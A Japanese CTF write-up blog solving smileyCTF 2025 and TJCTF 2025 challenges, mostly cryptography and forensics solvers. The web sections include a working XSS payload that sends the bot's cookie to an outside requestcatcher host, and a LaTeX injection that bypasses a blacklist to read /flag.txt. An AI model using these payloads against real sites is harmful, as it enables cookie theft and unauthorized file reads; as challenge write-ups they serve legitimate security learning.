はまやんはまやんはまやん

hamayanhamayan's blog

smileyCTF 2025 Writeups

[web] Sculpture Revenge

client side python is cool. adapted from actf 2025 to require the harder solve.

以下のようなbotが用意される。codeを渡すと、それを使ってGET /をしてくれる。

GET /bot

@app.route('/bot', methods=['GET'])
def bot():
    data = request.args.get('code', '🍃').encode('utf-8')
    data = base64.b64decode(data).decode('utf-8')
    parsed = urlparse(f"{request.host_url}")
    query_params = parse_qs(parsed.query)
    query_params["code"] = base64.b64encode(data.encode('utf-8')).decode('utf-8')
    new_query = urlencode(query_params, doseq=True)
    new_url = urlunparse(parsed._replace(query=new_query))
    options = Options()
    options.add_argument("--headless")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome(options=options)
    driver.get(f'{request.host_url}void')
    driver.add_cookie({
        'name': 'flag',
        'value': flag.replace(".;,;.{", "").replace("}", ""),
        'path': '/',
    })
    print('[+] Visiting ' + new_url, file=sys.stderr)
    driver.get(new_url)
    driver.implicitly_wait(5)
    driver.quit()
    print('[-] Done visiting URL', new_url, file=sys.stderr)
    return make_response('Bot executed successfully', 200)

Cookieを抜ければよい。フロントエンドでは、Skulptというのを使ったpythonコード実行ができるようになっている。実装自体は公式ドキュメントにあるものとほとんど同じ。

index.html

<html> 
<head> 
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> 

</head> 

<body> 

<script type="text/javascript"> 
// output functions are configurable.  This one just appends some text
// to a pre element.
function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerText = mypre.innerText + text; 
} 
function builtinRead(x) {
    if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined)
            throw "File not found: '" + x + "'";
    return Sk.builtinFiles["files"][x];
}

// Here's everything you need to run a python program in skulpt
// grab the code from your textarea
// get a reference to your pre element for output
// configure the output function
// call Sk.importMainWithBody()
function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead}); 
   (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas';
   var myPromise = Sk.misceval.asyncToPromise(function() {
       return Sk.importMainWithBody("<stdin>", false, prog, true);
   });
   myPromise.then(function(mod) {
       console.log('success');
   },
       function(err) {
       console.log(err.toString());
   });
}

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

</script> 

<h3>Try This</h3> 
<form> 
<textarea id="yourcode" cols="40" rows="10">import turtle

t = turtle.Turtle()
t.forward(100)

print "Hello World" 
</textarea><br /> 
<button type="button" onclick="runit()">Run</button> 
</form> 
<pre id="output" ></pre> 
<!-- If you want turtle graphics include a canvas -->
<div id="mycanvas"></div> 

</body> 

</html> 

どうやってXSSするかであるが、ライブラリを探すとjsevalというのが実装してあり、以下を試すとアラートが表示される。

jseval("alert(origin)")

あとは、Cookieを送るだけ。Admin Botの実装が、getした後すぐquitしてしまうのでfetchだと間に合わない。locationを使おう。

import base64
import requests

payload = """jseval("location = 'https://[yours].requestcatcher.com/hoge?flag=' + document.cookie")"""
encoded = base64.b64encode(payload.encode()).decode()
target_url = f"https://web-sculpture-revenge-65wh78jf.smiley.cat/bot?code={encoded}"
requests.get(target_url, timeout=10)

これを実行するとフラグが送られてくる。

[crypto] saas

Every ctf has to have a chall called 'saas'. Its just tradition.

以下のようなコードが与えられる。

#!/usr/local/bin/python
from Crypto.Util.number import getPrime as gP
from random import choice, randint
p, q = gP(512), gP(512)
while p % 4 != 3:
    p = gP(512)

while q % 4 != 3:
    q = gP(512)

n = p * q
e = 0x10001

f = lambda x: ((choice([-1,1]) * pow(x, (p + 1) // 4, p)) * pow(q, -1, p) * q + (choice([-1,1]) * pow(x, (q + 1) // 4, q)) % q * pow(p, -1, q) * p) % n

while True:
    try:
        l = int(input(">>> ")) % n
        print(f(l))
    except:
        break

m = randint(0, n - 1)
print(f"{m = }")
s = int(input(">>> ")) % n
if pow(s,e,n) == m:
    print(open("flag.txt", "r").read())
else:
    print("Wrong signature!")
    exit(1)

lambdaで実装された関数fは、mod nで平方剰余を取る関数。p,qをまずはランダムに生成し、その後任意の入力に対して関数fの結果を取得することができる。ループを抜けた後、乱数mが与えられるので、s^e = m (mod n)のsが回答できればフラグがもらえる。

関数fの実装

f = lambda x: ((choice([-1,1]) * pow(x, (p + 1) // 4, p)) * pow(q, -1, p) * q + (choice([-1,1]) * pow(x, (q + 1) // 4, q)) % q * pow(p, -1, q) * p) % n

平方剰余を計算しているのだが、choice([-1,1])というのが気になる。これは平方剰余を計算すると±出てくるので、ランダムに±にしているというもの。これを使うと与えられていないnだけでなく、p,qの素因数分解もできる。

nを求める

f(1)の結果rは{1,n-1,a,b}の4通りになる。rは1の平方根であるため、r2=1 mod nを全て満たすことになる。変形するとr2-1 = 0 mod nとなり、r2-1を計算するとnの倍数になる。よって、r2-1のgcdを取ればnが抽出できそう。1は0になってしまうので、それ以外でr2-1をしてgcdを取ろう。

def get_roots(l):
    roots_of_one = set()
    for _ in range(100):
        io.sendlineafter(">>> ", "1")
        root = int(io.recvline().strip())
        
        if root not in roots_of_one:
            roots_of_one.add(root)
        
        if len(roots_of_one) >= 3:
            break

    return list(roots_of_one)

def get_n():
    roots = get_roots(1)
    return gcd(gcd(roots[0]**2 - 1, roots[1]**2 - 1), roots[2]**2 - 1)

p,qに素因数分解

似たような方針で行こう。関数fをまた使おう。違うlで計算したときを考えてみる。この場合も同様に複数回取得してみると、複数個答えが返ってくる。例えば、f(l)=r1,r2と得られた場合は、r1^2 = r2^2を満たし、これを変形していくと、r1^2 - r2^2 = 0になり(r1 + r2)(r1 - r2) = 0となる。これは全てmod n上であるため、(r1 + r2)(r1 - r2)はnの倍数になっていることが分かる。nの倍数を少なくとも、2つの因数に分割していることになる。この分割にp,qが出てくることはないだろうかということを期待して、複数のlについて、結果を取得し、r1 + r2r1 - r2についてそれぞれnとgcdを取るとpかqが取得できる。

def get_pq(n):
    for l in range(2, 100):
        roots = get_roots(l)
        if len(roots) >= 2 and roots[0] != roots[1]:
            # r[0] - r[1] でGCDを試す
            candidate = math.gcd(roots[0] - roots[1], n)
            if 1 < candidate < n:
                p = candidate
                q = n // p
                return p, q
            
            # r[0] + r[1] でGCDを試す
            candidate = math.gcd(roots[0] + roots[1], n)
            if 1 < candidate < n:
                p = candidate
                q = n // p
                return p, q
    
    return None, None

ループを脱出する

ここまででp,qが手に入ったので、解ける状態になった。

while True:
    try:
        l = int(input(">>> ")) % n
        print(f(l))
    except:
        break

このループを抜けるためには空の入力を送ってやれば抜けることができる。

e乗根

最後はここだが、nは素因数分解できているので後はやるだけ。

m = randint(0, n - 1)
print(f"{m = }")
s = int(input(">>> ")) % n
if pow(s,e,n) == m:
    print(open("flag.txt", "r").read())
else:
    print("Wrong signature!")
    exit(1)

ソルバー

総合的には以下のソルバーでフラグが手に入る。

from ptrlib import *
import math

#io = Process("python3 saas/chall.py")
io = Socket("smiley.cat", 46177)

def get_roots(l):
    roots_of_one = set()
    for _ in range(100):
        io.sendlineafter(">>> ", "1")
        root = int(io.recvline().strip())
        
        if root not in roots_of_one:
            roots_of_one.add(root)
        
        if len(roots_of_one) >= 3:
            break

    return list(roots_of_one)

def get_n():
    roots = get_roots(1)
    return gcd(gcd(roots[0]**2 - 1, roots[1]**2 - 1), roots[2]**2 - 1)

def get_pq(n):
    for l in range(2, 100):
        roots = get_roots(l)
        if len(roots) >= 2 and roots[0] != roots[1]:
            # r[0] - r[1] でGCDを試す
            candidate = math.gcd(roots[0] - roots[1], n)
            if 1 < candidate < n:
                p = candidate
                q = n // p
                return p, q
            
            # r[0] + r[1] でGCDを試す
            candidate = math.gcd(roots[0] + roots[1], n)
            if 1 < candidate < n:
                p = candidate
                q = n // p
                return p, q
    
    return None, None

n = get_n()
print(f"{n=}")
p,q = get_pq(n)
print(f"{p=}")
print(f"{q=}")

assert p * q == n, "Failed to recover p and q correctly!"

io.sendlineafter(">>> ", " ") # break the roop

m_line = io.recvline().decode().strip()
m = int(m_line.split(" = ")[1])

e = 0x10001
pari.addprimes(p)
pari.addprimes(q)
s = mod(m, n).nth_root(e, all=True)[0]

assert pow(s, e, n) == m, "Signature verification failed!"

print(f"{s=}")
io.sendlineafter(">>> ", str(s))
io.interactive()

TJCTF 2025 Writeups

[forensics] hidden-message

i found this suspicious image file on my computer. can you help me figure out what's hidden inside?

suspicious.pngというファイルが与えられる。青い空を見上げればいつもそこに白い猫を起動し、ステガノグラフィー解析でパラパラと見てみると幾何学的な模様の他に怪しい点々が見られる。LSBとかに情報を埋め込むやつっぽいのでzstegで検索するとフラグがある。

$ zsteg -a suspicious.png | grep tjctf
b1,rgb,lsb,xy       .. text: "tjctf{steganography_is_fun}###END###"

[forensics] deep-layers

Not everything ends where it seems to...

chall.pngというファイルが与えられる。とりあえずstringsしてみるとbase64エンコード文字列みたいなものと、secret.gzというのが見える。

$ strings chall.png 
IHDR
%iTXtPassword
cDBseWdsMHRwM3NzdzByZA==
IDATx
c````
IEND
secret.gzUT
Bhux
CU\d
secret.gzUT
Bhux

base64エンコード文字列をデコードするとp0lygl0tp3ssw0rdとなった。polyglotということで、pngファイルをそのまま解凍すると、パスワードが要求されるので先ほどのデコードされた文字列を入れると、回答できsecret.gzが得られる。それを更に解凍するとフラグが書いてある。

[forensics] footprint

The folder used to hold some important files — including one with the flag as its name. Unfortunately, all the files were deleted. Can you piece together the flag from what's left behind?

files.zipというファイルが与えられ、解凍すると.DS_Storeが置いてある。解析しよう。https://github.com/hanwenzhu/.DS_Store-parser で解析してみると以下のようになった。

$ python3 parse.py ../.DS_Store
-FumtF3yx-kSP11OD8mFPA
        Icon location: x 175px, y 46px, 0xffffffffffff0000
0wnNJd_pKKNtfhG-HL8iJw
        Icon location: x 285px, y 46px, 0xffffffffffff0000
1VmhSaBo9ymK5dUhB3cPEQ
        Icon location: x 395px, y 46px, 0xffffffffffff0000
1zp7dw6eF3co0VaPDKhUag
        Icon location: x 505px, y 46px, 0xffffffffffff0000
27bCy1Bt-9nnLG4W8oxkNA
        Icon location: x 65px, y 270px, 0xffffffffffff0000
4vsxjPs-c9hBNmmaE8HJ8Q
        Icon location: x 615px, y 46px, 0xffffffffffff0000
...
XfjqZgZvquXzdnfbcMKQMA
        Icon location: x 505px, y 1726px, 0xffffffffffff0000
Xnji8EXzCRLmKJvoAkZftA
        Icon location: x 615px, y 1726px, 0xffffffffffff0000
yfmS9_zOUIcxfSY-obWMhg
        Icon location: x 65px, y 1838px, 0xffffffffffff0000
ylFen4T5uMeqvJC6p8dfkA
        Icon location: x 175px, y 1838px, 0xffffffffffff0000
yx7GMqzc5YejMzOO5F087g
        Icon location: x 285px, y 1838px, 0xffffffffffff0000
Z3cpkGAUMlLgzQctzCo2Zg
        Icon location: x 395px, y 1838px, 0xffffffffffff0000

base64エンコードされた文字列っぽいのでそれぞれデコードして眺めると、フラグっぽいのが見つかる。

dGpjdGZ7ZHNfc3RvcmVfIA → "tjctf{ds_store_"
aXNfdXNlZnVsP30gICAgIA → "is_useful?}"

結合して出すと正解。

[crypto] bacon-bits

follow the trail of bacon bits... flag is all lowercase, with the format of tjctf{...}

以下のような暗号スクリプトとその結果が与えられる。

with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()

baconian = {
'a': '00000', 'b': '00001',
'c': '00010', 'd': '00011',
'e': '00100', 'f': '00101',
'g': '00110', 'h': '00111',
'i': '01000',    'j': '01000',
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',
'w': '10100', 'x': '10101',
'y': '10110', 'z': '10111'}

text = [*text]
ciphertext = ""
for i,l in enumerate(flag):
    if not l.isalpha(): continue
    change = baconian[l]
    ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and (ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operator

with open('out.txt', 'w') as e:
    e.write(''.join([chr(ord(i)-13) for i in ciphertext]))

ベーコン暗号というのがあるらしい。復号スクリプトを書く。

with open('out.txt', 'r') as f:
    out_content = f.read().strip()

ciphertext = ''.join([chr(ord(char) + 13) for char in out_content])

baconian = {
'00000': 'a', '00001': 'b', '00010': 'c', '00011': 'd', '00100': 'e', 
'00101': 'f', '00110': 'g', '00111': 'h', '01000': 'i', '01001': 'k', 
'01010': 'l', '01011': 'm', '01100': 'n', '01101': 'o', '01110': 'p', 
'01111': 'q', '10000': 'r', '10001': 's', '10010': 't', '10011': 'u', 
'10100': 'w', '10101': 'x', '10110': 'y', '10111': 'z'
}

decoded_flag = ""
for i in range(0, len(ciphertext), 5):
    group = ciphertext[i:i+5]
    if len(group) == 5:
        pattern = "".join("1" if char.isupper() else "0" for char in group)
        decoded_flag += baconian.get(pattern, "?")

print(decoded_flag)

実行するとtictfoinkooinkoooinkooooinkとなる。出力通りだとtictf{oinkooinkoooinkooooink}だが、tjctfから始まることが分かっているので作問ミスかな?と思い微調整すると通る。tjctf{oinkooinkoooinkooooink}

[crypto] alchemist-recipe

an alchemist claims to have a recipe to transform lead into gold. however, he accidentally encrypted it with a peculiar process of his own. he left behind his notes on the encryption method and an encrypted sample. unfortunately, he spilled some magic ink on the notes, making them weirdly formatted. the notes include comments showing how he encrypted his recipe. can you find his "golden" secret?

暗号化スクリプトとその出力結果が与えられる。

暗号化スクリプト全体

import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8 

def glorbulate_sprockets_for_bamboozle(blorbo):
    zing = {}
    yarp = hashlib.sha256(blorbo.encode()).digest() 
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256): 
        for z in glimbo:
            wob = (sploop + z) % 256
            snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
            sploop = (sploop + 1) % 256
    zing['drizzle'] = snorb
    return zing

def scrungle_crank(dingus, sprockets):
    if len(dingus) != WUMBLE_BAG:
        raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
    zonked = bytes([sprockets['drizzle'][x] for x in dingus])
    quix = sprockets['twizzle']
    splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        plunk[y] = splatted[x]
    return bytes(plunk)

def snizzle_bytegum(bubbles, jellybean):
    fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)
    if fuzz == 0: 
        fuzz = WUMBLE_BAG
    bubbles += bytes([fuzz] * fuzz)
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = scrungle_crank(splinter, jellybean)
        glomp += zap
    return glomp

def main():
    try:
        with open("flag.txt", "rb") as f:
            flag_content = f.read().strip()
    except FileNotFoundError:
        print("Error: flag.txt not found. Create it with the flag content.")
        return

    if not flag_content:
        print("Error: flag.txt is empty.")
        return

    print(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")

    jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
    encrypted_recipe = snizzle_bytegum(flag_content, jellybean)

    with open("encrypted.txt", "w") as f_out:
        f_out.write(encrypted_recipe.hex())

    print(f"\nEncrypted recipe written to encrypted.txt:")
    print(encrypted_recipe.hex())

if __name__ == "__main__":
    main()

暗号化スクリプトで何をやっているかというと、

  1. キー生成 (glorbulate_sprockets_for_bamboozle): 固定文字列"AurumPotabileEtChymicumSecretum"のSHA256ハッシュから3つの要素を生成
  2. flibber: 最初の8バイト(置換用)
  3. twizzle: 次の16バイト(XOR用)
  4. drizzle: 残りのバイトで初期化したS-Box(置換テーブル)
  5. ブロック暗号化 (scrungle_crank): 8バイトブロックに対して、S-Box置換 → XOR → ソート置換の順で処理
  6. 全体暗号化 (snizzle_bytegum): PKCS7パディング追加、8バイトずつブロック暗号化

ということをしている。逆計算が実装可能なので、実装して以下のように解ける。

import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8 

def glorbulate_sprockets_for_bamboozle(blorbo):
    zing = {}
    yarp = hashlib.sha256(blorbo.encode()).digest() 
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256): 
        for z in glimbo:
            wob = (sploop + z) % 256
            snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
            sploop = (sploop + 1) % 256
    zing['drizzle'] = snorb
    return zing

def unscrungle_crank(encrypted_block, sprockets):
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    
    unsplatted = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        unsplatted[x] = encrypted_block[y]
    
    quix = sprockets['twizzle']
    zonked = bytes([unsplatted[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    
    reverse_drizzle = [0] * 256
    for i, val in enumerate(sprockets['drizzle']):
        reverse_drizzle[val] = i
    
    return bytes([reverse_drizzle[x] for x in zonked])

def unsnizzle_bytegum(encrypted_data, jellybean):
    decrypted = b""
    for b in range(0, len(encrypted_data), WUMBLE_BAG):
        encrypted_block = encrypted_data[b:b+WUMBLE_BAG]
        decrypted += unscrungle_crank(encrypted_block, jellybean)
    
    if decrypted:
        padding_length = decrypted[-1]
        if padding_length <= WUMBLE_BAG and padding_length > 0:
            if all(x == padding_length for x in decrypted[-padding_length:]):
                decrypted = decrypted[:-padding_length]
    return decrypted

encrypted_hex = "b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb316e11d9a99c7e87b09e"
encrypted_data = bytes.fromhex(encrypted_hex)
jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
decrypted_flag = unsnizzle_bytegum(encrypted_data, jellybean)
print(decrypted_flag.decode('utf-8'))

[forensics] album-cover

i heard theres a cool easter egg in the new tjcsc album cover

albumcover.pngとenc.pyというファイルが与えられる。enc.pyは以下のような感じ。

import wave
from PIL import Image
import numpy as np
#sample_rate = 44100
with wave.open('flag.wav', 'rb') as w:
    frames = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16)
    print(w.getnframes())
    sampwidth = w.getsampwidth() # 2
    nchannels = w.getnchannels() # 1
    w.close()
arr = np.array(frames)
img = arr.reshape((441, 444))
img = (img + 32767) / 65535 * 255
img = img.astype(np.uint8)
img = Image.fromarray(img)
img = img.convert('L')
img.save('albumcover.png')

wavがpngに埋め込まれているようだ。抽出スクリプトを書いて抽出すると、機械的な音声のwavが手に入る。Sonic Visualiserでスペクトラムを見てみるとフラグが書いてあった。

[web] TeXploit

I made a LaTex compiler that can generate pdfs. It even prints the log file if there is an error. The flag is located in /flag.txt.

ソースコード無し。 https://instancer.tjctf.org/challenge/texploit

LaTeXのコードを渡してPDFにするサイト。/flag.txtを持って来るのがゴール。適当にpayloadを試すとブラックリストがあることが知らされる。

\newtoks\in
\newtoks\put
\in={in}
\put={put}
\begin{\the\in\the\put}{/flag.txt}\end{\the\in\the\put}

ガチャガチャやっていると、これをやると/flag.txtが読み込まれてエラーに出てくる。

[crypto] theartofwar

"In the midst of chaos, there is also opportunity" - Sun Tzu, The Art of War

暗号文は以下で、実行結果も与えられる。

from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import time


flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)

e = getPrime(8)
print(f'e = {e}')

def generate_key():
    p, q = getPrime(256), getPrime(256)
    while (p - 1) % e == 0:
        p = getPrime(256)
    while (q - 1) % e == 0:
        q = getPrime(256)
    return p * q
    
for i in range(e):
    n = generate_key()
    c = pow(m, e, n)
    print(f'n{i} = {n}')
    print(f'c{i} = {c}')

meが様々なnで行われている。実行結果よりe=229であることが分かっていて、は比較的小さい。また、e個分c[i]=m^e mod n[i]が与えられていることから、CRTで解ける。CRTを使えば、mod n[0]*n[1]*n[2]*...*n[228]の時のmeの値を求めることができる。ここまで法が大きくできれば、meは剰余が取られずそのままe乗された値が得られるので、単純に整数上としてe乗根を計算すればよい。これらの計算をした、以下のsagemathで解ける。

from Crypto.Util.number import long_to_bytes

with open('output.txt', 'r') as f:
    lines = f.read().strip().split('\n')

e = int(lines[0].split(' = ')[1])
n_values = []
c_values = []

for line in lines[1:]:
    if line.startswith('n'):
        n_values.append(int(line.split(' = ')[1]))
    elif line.startswith('c'):
        c_values.append(int(line.split(' = ')[1]))

m_pow_e = crt(c_values, n_values)
m = int(m_pow_e^(1/e))
print(long_to_bytes(m).decode())

[crypto] seeds

You can't grow crops without planting the seeds. (Server is hosted in the US eastern time zone)

暗号化コードは以下で、LCGを使って乱数を作成し、AES-ECBで暗号化している。

#!/usr/local/bin/python3.10 -u

import time, sys, select
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class RandomGenerator:
    def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):
        if seed is None: 
            seed = time.asctime()
        if type(seed) is int: 
            self.seed = seed
        if type(seed) is str: 
            self.seed = int.from_bytes(seed.encode(), "big")
        if type(seed) is bytes: 
            self.seed = int.from_bytes(seed, "big")
        self.m = modulus
        self.a = multiplier
        self.c = increment

    def randint(self, bits: int):
        self.seed = (self.a * self.seed + self.c) % self.m
        result = self.seed.to_bytes(4, "big")
        while len(result) < bits // 8:
            self.seed = (self.a * self.seed + self.c) % self.m
            result += self.seed.to_bytes(4, "big")
        return int.from_bytes(result, "big") % (2 ** bits)

    def randbytes(self, len: int):
        return self.randint(len * 8).to_bytes(len, "big")

def input_with_timeout(prompt, timeout=10):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.buffer.readline().rstrip(b'\n')
    raise Exception

def main():
    print("Welcome to the AES Oracle")
    
    randgen = RandomGenerator()
    cipher = AES.new(randgen.randbytes(32), AES.MODE_ECB)
    flag = open("flag.txt", "rb").read()

    ciphertext = cipher.encrypt(pad(flag, AES.block_size))
    print(f'{ciphertext = }')

    while True:
        plaintext = input_with_timeout("What would you like to encrypt? (enter 'quit' to exit) ")
        if plaintext == b"quit": break
        cipher = AES.new(randgen.randbytes(32), AES.MODE_ECB)
        ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
        print(f"{ciphertext = }")



if __name__ == "__main__":
    main()

問題文に(Server is hosted in the US eastern time zone)のようにヒントもあるが、現在時刻をシードにしてLCGで乱数を作っている。現在時刻は推測可能であるため、シードを推測して乱数列を再現することで復号化ができるようになる。

それを実装したのが以下で、これを動かすとフラグが得られる。

#!/usr/bin/env python3

import time
from ptrlib import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from datetime import datetime, timezone

class RandomGenerator:
    def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):
        if seed is None: 
            seed = time.asctime()
        if type(seed) is int: 
            self.seed = seed
        if type(seed) is str: 
            self.seed = int.from_bytes(seed.encode(), "big")
        if type(seed) is bytes: 
            self.seed = int.from_bytes(seed, "big")
        self.m = modulus
        self.a = multiplier
        self.c = increment

    def randint(self, bits: int):
        self.seed = (self.a * self.seed + self.c) % self.m
        result = self.seed.to_bytes(4, "big")
        while len(result) < bits // 8:
            self.seed = (self.a * self.seed + self.c) % self.m
            result += self.seed.to_bytes(4, "big")
        return int.from_bytes(result, "big") % (2 ** bits)

    def randbytes(self, len: int):
        return self.randint(len * 8).to_bytes(len, "big")

sock = remote("[redacted]", [redacted])

sock.recvline()
flag_line = sock.recvline().decode()
flag_ciphertext = eval(flag_line.split('ciphertext = ')[1])

known_plaintext = b"A" * 16
sock.sendlineafter("What would you like to encrypt? (enter 'quit' to exit) ", known_plaintext)
response = sock.recvline().decode()
known_ciphertext = eval(response.split('ciphertext = ')[1])

current_time = datetime.now(timezone.utc)

for offset in range(-300, 301):
    test_time = current_time.timestamp() + offset
    seed_str = time.asctime(time.gmtime(test_time))
    
    try:
        randgen1 = RandomGenerator(seed_str)
        flag_key = randgen1.randbytes(32)
        
        randgen2 = RandomGenerator(seed_str)
        randgen2.randbytes(32)
        known_key = randgen2.randbytes(32)
        
        cipher = AES.new(known_key, AES.MODE_ECB)
        expected = cipher.encrypt(pad(known_plaintext, AES.block_size))
        
        if expected == known_ciphertext:
            flag_cipher = AES.new(flag_key, AES.MODE_ECB)
            flag = unpad(flag_cipher.decrypt(flag_ciphertext), AES.block_size)
            print(flag.decode())
            break
    except:
        continue

sock.sendline("quit")
sock.close()

[crypto] close-secrets

I tried to make my Diffie-Hellman implementation a bit more interesting, but maybe I went too far? Can you make sense of this custom cryptography and decode the encrypted flag?

以下のようなことを行う、Diffie-Hellman鍵交換を使った暗号化スクリプトが与えられる。

  1. generate_dh_key(): 1024ビット素数p,gを生成し、秘密鍵a,bで公開鍵u,vを計算、共有鍵keyを生成
  2. dynamic_xor_encrypt(): フラグをバイト列にして逆順にし、共有鍵のSHA256ハッシュとXOR暗号化
  3. encrypt_outer(): XOR結果に対して (val + key_offset) * key で外側暗号化

これを使って、「flag → バイト列逆順 → SHA256(共有鍵)とXOR → 共有鍵で線形変換」みたいな感じで暗号化する。

暗号化スクリプト全体

import random
from random import randint
import sys
from Crypto.Util import number
import hashlib 

def encrypt_outer(plaintext_ords, key):
    cipher = []
    key_offset = key % 256
    for val in plaintext_ords:
        if not isinstance(val, int):
            raise TypeError
        cipher.append((val + key_offset) * key)
    return cipher

def dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):
    encrypted_ords = []
    key_length = len(text_key_bytes)
    if not isinstance(plaintext_bytes, bytes):
        raise TypeError
    for i, byte_val in enumerate(plaintext_bytes[::-1]):
        key_byte = text_key_bytes[i % key_length]
        encrypted_ords.append(byte_val ^ key_byte)
    return encrypted_ords

def generate_dh_key():
    p = number.getPrime(1024)
    g = number.getPrime(1024)
    a = randint(p - 10, p)
    b = randint(g - 10, g)
    u = pow(g, a, p)
    v = pow(g, b, p)
    key = pow(v, a, p)
    b_key = pow(u, b, p)
    if key != b_key:
        sys.exit(1)
    return p, g, u, v, key

def generate_challenge_files(flag_file="flag.txt", params_out="params.txt", enc_flag_out="enc_flag"):
    try:
        with open(flag_file, "r") as f:
            flag_plaintext = f.read().strip()
    except FileNotFoundError:
        sys.exit(1)
    flag_bytes = flag_plaintext.encode('utf-8')
    p, g, u, v, shared_key = generate_dh_key()
    xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
    xor_key_bytes = xor_key_str.encode('utf-8')
    intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)
    final_cipher = encrypt_outer(intermediate_ords, shared_key)
    with open(params_out, "w") as f:
        f.write(f"p = {p}\n")
        f.write(f"g = {g}\n")
        f.write(f"u = {u}\n")
        f.write(f"v = {v}\n")
    with open(enc_flag_out, "w") as f:
        f.write(str(final_cipher))

if __name__ == "__main__":
    try:
        with open("flag.txt", "x") as f:
            f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")
    except FileExistsError:
        pass
    generate_challenge_files()

generate_dh_keyの実装に問題がある。

def generate_dh_key():
    p = number.getPrime(1024)
    g = number.getPrime(1024)
    a = randint(p - 10, p)
    b = randint(g - 10, g)
    u = pow(g, a, p)
    v = pow(g, b, p)
    key = pow(v, a, p)
    b_key = pow(u, b, p)
    if key != b_key:
        sys.exit(1)
    return p, g, u, v, key

秘密鍵であるa,bが10通りしかないので、全探索すればshared_keyが復元できる。あとは復号化コードを書いて復号するだけ。ソルバーは以下。

import hashlib

p = 1704143...redacted...2527
g = 1206811...redacted...2283
u = 1356687...redacted...4706
v = 1650367...redacted...0749

enc_flag = [6571...redacted...4720]

for i in range(11):
    a = p - i
    if pow(g, a, p) == u: break
for i in range(11):
    b = g - i
    if pow(g, b, p) == v: break

shared_key = pow(v, a, p)

def decrypt_outer(cipher, key):
    key_offset = key % 256
    return [(c // key if c != 0 else 0) - key_offset for c in cipher]

def dynamic_xor_decrypt(encrypted_ords, shared_key):
    xor_key = hashlib.sha256(str(shared_key).encode()).hexdigest().encode()
    return [(ord_val ^ xor_key[i % len(xor_key)]) & 0xFF for i, ord_val in enumerate(encrypted_ords)]

intermediate = decrypt_outer(enc_flag, shared_key)
decrypted = dynamic_xor_decrypt(intermediate, shared_key)
flag = bytes(decrypted[::-1]).decode('utf-8', errors='ignore')

print(flag)

[forensics] packet-palette

Someone tried to reinvent USB-over-IP… poorly. Can you sift through their knockoff protocol?

chall.pcapngが与えられる。中身を目grepすると、データ部分にPNGファイルが埋め込まれているように見える。以下のようにいい感じにskipしたりして取り出してくるとフラグが書かれたpngファイルが得られる。

$ tshark -r chall.pcapng -Y 'tcp.port == 31337 and frame.number >= 2' -T fields -e data | sed 's/^.\{24\}//' | tr -d '\n:' | xxd -r -p > out.png

